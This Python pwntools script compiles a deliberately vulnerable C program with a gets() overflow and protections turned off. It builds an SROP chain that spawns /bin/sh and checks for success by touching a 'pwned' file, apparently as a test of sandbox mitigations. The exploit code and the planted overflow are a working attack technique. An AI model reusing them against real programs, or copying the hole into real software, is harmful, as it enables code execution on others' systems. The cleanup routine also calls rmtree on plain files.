#!/usr/bin/env python
# coding: utf-8
#
# stack-pivot: Perform a simple SROP with a stack pivot.
# Copyright (c) 2024 Ali Polatel <alip@chesswob.org>
# SPDX-License-Identifier: GPL-3.0

import os, sys, subprocess, shutil, time

try:
    from pwn import (
        context,
        ELF,
        process,
        log,
        cyclic,
        cyclic_find,
        ROP,
        SigreturnFrame,
        p64,
        constants,
    )
except ImportError:
    sys.stderr.write("[!] Pwntools is not installed. Exiting.\n")
    sys.exit(127)
else:
    context.terminal = ["echo", "ENOTTY"]

TEMP_FILES = ["vuln_srop.c", "vuln_srop", "srop.bin", "srop.txt", "pwned_srop"]


def compile_vuln():
    vuln_c_code = r"""
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int overflow(void) {
    char buf[8];
    gets(buf); /* Vulnerable to buffer overflow */
    return 0;
}

int main(void) {
    overflow();
    if (getuid() + getpid() == 0) {
#ifdef __x86_64__
        __asm__ __volatile__ (
            "pop %rdi; ret;"
            "pop %rsi; ret;"
            "pop %rdx; ret;"
            "pop %rax; ret;"
        );
#elif __i386__
        __asm__ __volatile__ (
            "pop %eax; ret;"
            "int 0x80; ret;"
        );
#else
#error unsupported architecture
#endif
        execve("/bin/sh", 0, 0);
    }
    return 0;
}
    """
    with open("vuln_srop.c", "w") as f:
        f.write(vuln_c_code)
    cc_cmd = "cc -Wall -Wextra -g -O0 -fno-stack-protector -no-pie -static vuln_srop.c -o vuln_srop"
    try:
        subprocess.run(
            cc_cmd,
            shell=True,
            check=True,
            stderr=subprocess.PIPE,
            stdout=subprocess.PIPE,
        )
    except subprocess.CalledProcessError as e:
        sys.stderr.write(f"[!] Compilation failed: {e.stderr.decode()}\n")
        sys.exit(127)


def generate_srop():
    context.binary = "./vuln_srop"
    elf = ELF("./vuln_srop")
    if context.arch not in ("amd64", "i386"):
        log.warn("This script only works on x86 or x86_64. Exiting.")
        sys.exit(127)

    # Ensure core dumps are unlimited.
    log.info("Setting core dump size to unlimited.")
    try:
        subprocess.run(
            ["prlimit", "--pid", str(os.getpid()), "--core=unlimited"], check=True
        )
    except subprocess.CalledProcessError:
        log.warn("Failed to set core dump size to unlimited.")
        log.warn("The next step may fail.")

    # Generate a cyclic pattern and send it to the vulnerable program.
    log.info("Generating cyclic pattern to find offset.")
    pattern = cyclic(128)
    p = process("./vuln_srop")
    p.sendline(pattern)
    p.wait()

    # Extract the core dump.
    core = p.corefile
    arch = context.arch

    if arch == "amd64" or arch == "i386":
        stack_pointer = "rsp"
    elif arch == "arm" or arch == "aarch64":
        stack_pointer = "sp"
    else:
        log.warn(f"Unsupported architecture: {arch}")
        sys.exit(127)

    offset = cyclic_find(core.read(getattr(core, stack_pointer), 4))
    log.info(f"Offset is {offset}.")

    log.info(f"Removing coredump file '{core.path}'")
    try:
        os.remove(core.path)
    except:
        log.warn(f"Failed to remove coredump file '{core.path}'")

    # Clear ROP cache.
    try:
        ROP.clear_cache()
    except:
        pass

    # Find SROP gadgets and /bin/sh string.
    log.info("Finding SROP gadgets and locating '/bin/sh'")
    rop = ROP(elf)
    bin_sh = next(elf.search(b"/bin/sh"))
    log.info("Located '/bin/sh' at %#x." % bin_sh)

    if context.arch == "amd64":
        # Find gadgets needed to trigger a sigreturn
        pop_rax = rop.find_gadget(["pop rax", "ret"])[0]
        syscall_ret = rop.find_gadget(["syscall", "ret"])[0]

        # Prepare a SigreturnFrame.
        frame = SigreturnFrame(kernel=context.arch)
        frame.rax = constants.SYS_execve
        frame.rdi = bin_sh
        frame.rsi = 0
        frame.rdx = 0
        frame.rip = syscall_ret

        payload = b"A" * offset
        payload += p64(pop_rax)
        payload += p64(15)  # rt_sigreturn for x86_64.
        payload += p64(syscall_ret)  # trigger sigreturn.
        payload += bytes(frame)
    #
    #    elif context.arch == "i386":
    #        # i386
    #        int80_ret = rop.find_gadget(["int 0x80", "ret"])[0]
    #        pop_eax = rop.find_gadget(["pop eax", "ret"])[0]
    #        bin_sh = (
    #            next(elf.search(b"/bin/sh\x00")) if b"/bin/sh\x00" in elf.read() else None
    #        )
    #        if not bin_sh:
    #            bin_sh = next(elf.search(b"/"))
    #        frame = SigreturnFrame(kernel="i386")
    #        frame.eax = constants.SYS_execve
    #        frame.ebx = bin_sh
    #        frame.ecx = 0
    #        frame.edx = 0
    #        frame.eip = int80_ret
    #        payload = b"A" * offset
    #        payload += p32(pop_eax)
    #        payload += p32(0x77)  # sigreturn on i386
    #        payload += p32(int80_ret)  # trigger sigreturn
    #        payload += bytes(frame)

    log.info("SROP payload is %d bytes." % len(payload))
    print(rop.dump(), file=sys.stderr)
    with open("srop.txt", "w") as f:
        print(rop.dump(), file=f)
    log.info("ROP textual dump saved to 'srop.txt' for inspection.")

    # Save the ROP details to a file.
    with open("srop.bin", "wb") as f:
        f.write(payload)

    log.info("ROP payload saved to file 'srop.bin'")
    log.info('Do "stack-pivot run" in the same directory to perform exploitation.')


def run_exploit():
    with open("srop.bin", "rb") as f:
        payload = f.read()

    # Function to attempt exploit without using pwntools.
    def attempt_exploit():
        try:
            p = subprocess.Popen(["./vuln_srop"], stdin=subprocess.PIPE)

            log.info("Writing the SROP payload to vulnerable program's standard input.")
            p.stdin.write(payload + b"\n")
            p.stdin.flush()

            log.info("Sending input to the SROP shell.")
            p.stdin.write(
                b"set -ex; echo SROP: Change return success. Going and coming without error. Action brings good fortune.; sleep 1; touch pwned; exit 42\n"
            )
            p.stdin.flush()

            for _ in range(3):
                if os.path.exists("pwned"):
                    os.remove("pwned")
                    p.kill()
                    return True
                time.sleep(1)
            p.kill()
        except:
            return False
        return False

    # Attempt the exploit up to 10 times.
    max_attempts = 10
    for attempt in range(max_attempts):
        log.info("Running the vulnerable program.")
        log.info(f"Attempt {attempt + 1} of {max_attempts} with 3 seconds timeout.")
        if attempt_exploit():
            log.warn("Successfully smashed the stack using a SROP chain!")
            sys.exit(42)
        else:
            log.info(f"Attempt {attempt + 1} failed.")
            attempt += 1

    log.info("All attempts failed.")
    sys.exit(0)


def clean():
    for temp_file in TEMP_FILES:
        if os.path.exists(temp_file):
            shutil.rmtree(temp_file)


def print_help():
    print("Usage:")
    print("srop init  - prepare the binary and payload")
    print("srop run   - run the exploitation")
    print("srop clean - clean up generated files")
    print("srop help  - this help")


def main():
    if len(sys.argv) < 2:
        print_help()
        sys.exit(0)
    elif sys.argv[1] == "init":
        compile_vuln()
        generate_srop()
    elif sys.argv[1] == "run":
        run_exploit()
    elif sys.argv[1] == "clean":
        clean()
    else:
        print_help()
        sys.exit(0)


if __name__ == "__main__":
    main()
